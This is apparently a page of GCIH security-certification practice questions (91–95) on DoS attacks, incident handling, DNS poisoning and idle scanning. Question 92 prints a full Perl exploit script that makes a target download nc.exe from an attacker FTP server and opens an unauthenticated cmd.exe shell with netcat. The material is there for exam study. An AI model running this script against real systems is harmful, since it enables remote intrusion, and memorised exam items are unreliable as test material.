GCIH Practice Test

GCIH Practice Test practice questions, page 19 of 34, with answer review and explanations.

Question 91

Which of the following Denial-of-Service (DoS) attacks employ IP fragmentation mechanism? Each correct answer represents a complete solution. (Choose two.)

  1. Land attack
  2. SYN flood attack
  3. Teardrop attack
  4. Ping of Death attack

Question 92

Adam, a malicious hacker performs an exploit, which is given below: ##################################################### $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP Server 89 $user = "Anonymous";# login as $pass = ' [email protected] ';# password ##################################################### $host = $ARGV[0]; print "Starting ...\n"; print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h $host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host `"C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ... \n"; system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ... (Have a ftp server)\n"; $o=; print "Opening ...\n"; system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0); Which of the following is the expected result of the above exploit?

  1. Creates a share called "sasfile" on the target system
  2. Creates an FTP server with write permissions enabled
  3. Opens up a SMTP server that requires no username or password
  4. Opens up a telnet listener that requires no username or password

Question 93

Adam works as an Incident Handler for Umbrella Inc. His recent actions towards the incident are not up to the standard norms of the company. He always forgets some steps and procedures while handling responses as they are very hectic to perform. Which of the following steps should Adam take to overcome this problem with the least administrative effort?

  1. Create incident manual read it every time incident occurs.
  2. Appoint someone else to check the procedures.
  3. Create incident checklists.
  4. Create new sub-team to keep check.

Question 94

In which of the following attacking methods does an attacker distribute incorrect IP address?

  1. IP spoofing
  2. Mac flooding
  3. DNS poisoning
  4. Man-in-the-middle

Question 95

You work as a Penetration Tester for the Infosec Inc. Your company takes the projects of security auditing. Recently, your company has assigned you a project to test the security of the we-aresecure.com Web site. For this, you want to perform the idle scan so that you can get the ports open in the we-are-secure.com server. You are using Hping tool to perform the idle scan by using a zombie computer. While scanning, you notice that every IPID is being incremented on every query, regardless whether the ports are open or close. Sometimes, IPID is being incremented by more than one value. What may be the reason?

  1. The firewall is blocking the scanning process.
  2. The zombie computer is not connected to the we-are-secure.com Web server.
  3. The zombie computer is the system interacting with some other system besides your computer.
  4. Hping does not perform idle scanning.